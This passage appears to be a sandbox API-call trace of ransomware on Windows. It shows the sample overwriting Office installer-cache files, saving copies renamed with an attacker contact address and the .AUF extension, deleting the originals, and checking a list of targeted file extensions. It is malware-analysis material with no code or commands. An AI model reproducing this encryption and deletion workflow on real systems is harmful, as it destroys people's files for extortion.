out: lpNewFilePointer=0x0) returned 1 [0211.998] ReadFile (in: hFile=0x208, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.054] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0212.054] ReadFile (in: hFile=0x208, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.076] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0212.076] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0212.076] ReadFile (in: hFile=0x208, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.099] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.099] WriteFile (in: hFile=0x208, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0212.206] SetEndOfFile (hFile=0x208) returned 1 [0212.209] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0212.209] WriteFile (in: hFile=0x208, lpBuffer=0x3fb1070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb1070*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.218] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0212.218] WriteFile (in: hFile=0x208, lpBuffer=0x3fb1070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb1070*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.219] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0212.219] WriteFile (in: hFile=0x208, lpBuffer=0x3fb1070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb1070*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.237] CloseHandle (hObject=0x208) returned 1 [0212.237] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0212.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.238] lstrlenW (lpString=".doc") returned 4 [0212.238] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0212.238] lstrlenW (lpString=".docx") returned 5 [0212.238] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0212.238] lstrlenW (lpString=".pdf") returned 4 [0212.238] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0212.238] lstrlenW (lpString=".xls") returned 4 [0212.238] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0212.238] lstrlenW (lpString=".xlsx") returned 5 [0212.238] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0212.238] lstrlenW (lpString=".ppt") returned 4 [0212.238] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0212.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.238] lstrlenW (lpString=".zip") returned 4 [0212.238] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0212.238] lstrlenW (lpString=".rar") returned 4 [0212.238] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0212.238] lstrlenW (lpString=".bz2") returned 4 [0212.238] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0212.238] lstrlenW (lpString=".7z") returned 3 [0212.238] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0212.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.238] lstrlenW (lpString=".dbf") returned 4 [0212.238] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0212.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.238] lstrlenW (lpString=".1cd") returned 4 [0212.238] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0212.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.238] lstrlenW (lpString=".jpg") returned 4 [0212.238] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0212.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.239] lstrlenW (lpString=".doc") returned 4 [0212.239] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0212.239] lstrlenW (lpString=".docx") returned 5 [0212.239] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0212.239] lstrlenW (lpString=".pdf") returned 4 [0212.239] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0212.239] lstrlenW (lpString=".xls") returned 4 [0212.239] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0212.239] lstrlenW (lpString=".xlsx") returned 5 [0212.239] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0212.239] lstrlenW (lpString=".ppt") returned 4 [0212.239] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0212.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.239] lstrlenW (lpString=".zip") returned 4 [0212.239] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0212.239] lstrlenW (lpString=".rar") returned 4 [0212.239] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0212.239] lstrlenW (lpString=".bz2") returned 4 [0212.239] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0212.239] lstrlenW (lpString=".7z") returned 3 [0212.239] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0212.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.239] lstrlenW (lpString=".dbf") returned 4 [0212.239] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0212.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.239] lstrlenW (lpString=".1cd") returned 4 [0212.239] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0212.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0212.239] lstrlenW (lpString=".jpg") returned 4 [0212.239] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0212.239] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0212.239] lstrlenW (lpString="dwtrig20.exe") returned 12 [0212.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0212.674] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=519584) returned 1 [0212.674] CloseHandle (hObject=0x1d8) returned 1 [0212.674] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0212.674] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.674] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0212.674] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.674] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.675] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.989] GetLastError () returned 0x0 [0212.989] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0213.062] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0213.070] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.070] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.070] SetEndOfFile (hFile=0x1e4) returned 1 [0213.070] CloseHandle (hObject=0x1e4) returned 1 [0213.071] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.071] SetEndOfFile (hFile=0x1d8) returned 1 [0213.074] CloseHandle (hObject=0x1d8) returned 1 [0213.074] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.074] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0213.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.074] lstrlenW (lpString=".doc") returned 4 [0213.074] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0213.074] lstrlenW (lpString=".docx") returned 5 [0213.074] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0213.074] lstrlenW (lpString=".pdf") returned 4 [0213.074] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0213.074] lstrlenW (lpString=".xls") returned 4 [0213.074] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0213.074] lstrlenW (lpString=".xlsx") returned 5 [0213.074] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0213.074] lstrlenW (lpString=".ppt") returned 4 [0213.074] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0213.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.074] lstrlenW (lpString=".zip") returned 4 [0213.074] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0213.075] lstrlenW (lpString=".rar") returned 4 [0213.075] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0213.075] lstrlenW (lpString=".bz2") returned 4 [0213.075] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0213.075] lstrlenW (lpString=".7z") returned 3 [0213.075] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0213.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.075] lstrlenW (lpString=".dbf") returned 4 [0213.075] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0213.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.075] lstrlenW (lpString=".1cd") returned 4 [0213.075] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0213.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.075] lstrlenW (lpString=".jpg") returned 4 [0213.075] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0213.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.075] lstrlenW (lpString=".doc") returned 4 [0213.075] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0213.075] lstrlenW (lpString=".docx") returned 5 [0213.075] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0213.075] lstrlenW (lpString=".pdf") returned 4 [0213.075] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0213.075] lstrlenW (lpString=".xls") returned 4 [0213.075] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0213.075] lstrlenW (lpString=".xlsx") returned 5 [0213.075] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0213.075] lstrlenW (lpString=".ppt") returned 4 [0213.075] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0213.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.075] lstrlenW (lpString=".zip") returned 4 [0213.075] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0213.075] lstrlenW (lpString=".rar") returned 4 [0213.075] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0213.075] lstrlenW (lpString=".bz2") returned 4 [0213.075] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0213.075] lstrlenW (lpString=".7z") returned 3 [0213.075] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0213.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.075] lstrlenW (lpString=".dbf") returned 4 [0213.075] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0213.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.075] lstrlenW (lpString=".1cd") returned 4 [0213.075] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0213.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0213.075] lstrlenW (lpString=".jpg") returned 4 [0213.075] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0213.076] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0213.076] lstrlenW (lpString="osetupui.dll") returned 12 [0213.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0213.076] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=191872) returned 1 [0213.076] CloseHandle (hObject=0x1d8) returned 1 [0213.076] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0213.076] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0213.076] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.076] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0213.076] GetLastError () returned 0x0 [0213.076] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0213.130] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0213.134] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.134] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.134] SetEndOfFile (hFile=0x1e4) returned 1 [0213.134] CloseHandle (hObject=0x1e4) returned 1 [0213.134] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.134] SetEndOfFile (hFile=0x1d8) returned 1 [0213.136] CloseHandle (hObject=0x1d8) returned 1 [0213.136] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.137] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0213.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.137] lstrlenW (lpString=".doc") returned 4 [0213.137] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.137] lstrlenW (lpString=".docx") returned 5 [0213.137] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0213.137] lstrlenW (lpString=".pdf") returned 4 [0213.137] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.137] lstrlenW (lpString=".xls") returned 4 [0213.137] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.137] lstrlenW (lpString=".xlsx") returned 5 [0213.137] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0213.137] lstrlenW (lpString=".ppt") returned 4 [0213.137] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.137] lstrlenW (lpString=".zip") returned 4 [0213.137] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.137] lstrlenW (lpString=".rar") returned 4 [0213.137] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.137] lstrlenW (lpString=".bz2") returned 4 [0213.137] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.137] lstrlenW (lpString=".7z") returned 3 [0213.137] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.137] lstrlenW (lpString=".dbf") returned 4 [0213.137] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.137] lstrlenW (lpString=".1cd") returned 4 [0213.137] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.137] lstrlenW (lpString=".jpg") returned 4 [0213.137] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.138] lstrlenW (lpString=".doc") returned 4 [0213.138] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.138] lstrlenW (lpString=".docx") returned 5 [0213.138] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0213.138] lstrlenW (lpString=".pdf") returned 4 [0213.138] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.138] lstrlenW (lpString=".xls") returned 4 [0213.138] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.138] lstrlenW (lpString=".xlsx") returned 5 [0213.138] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0213.138] lstrlenW (lpString=".ppt") returned 4 [0213.138] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.138] lstrlenW (lpString=".zip") returned 4 [0213.138] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.138] lstrlenW (lpString=".rar") returned 4 [0213.138] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.138] lstrlenW (lpString=".bz2") returned 4 [0213.138] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.138] lstrlenW (lpString=".7z") returned 3 [0213.138] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.138] lstrlenW (lpString=".dbf") returned 4 [0213.138] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.138] lstrlenW (lpString=".1cd") returned 4 [0213.138] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0213.138] lstrlenW (lpString=".jpg") returned 4 [0213.138] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.138] lstrcmpiW (lpString1=".MST", lpString2=".AUF") returned 1 [0213.138] lstrlenW (lpString="ShellUI.MST") returned 11 [0213.138] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 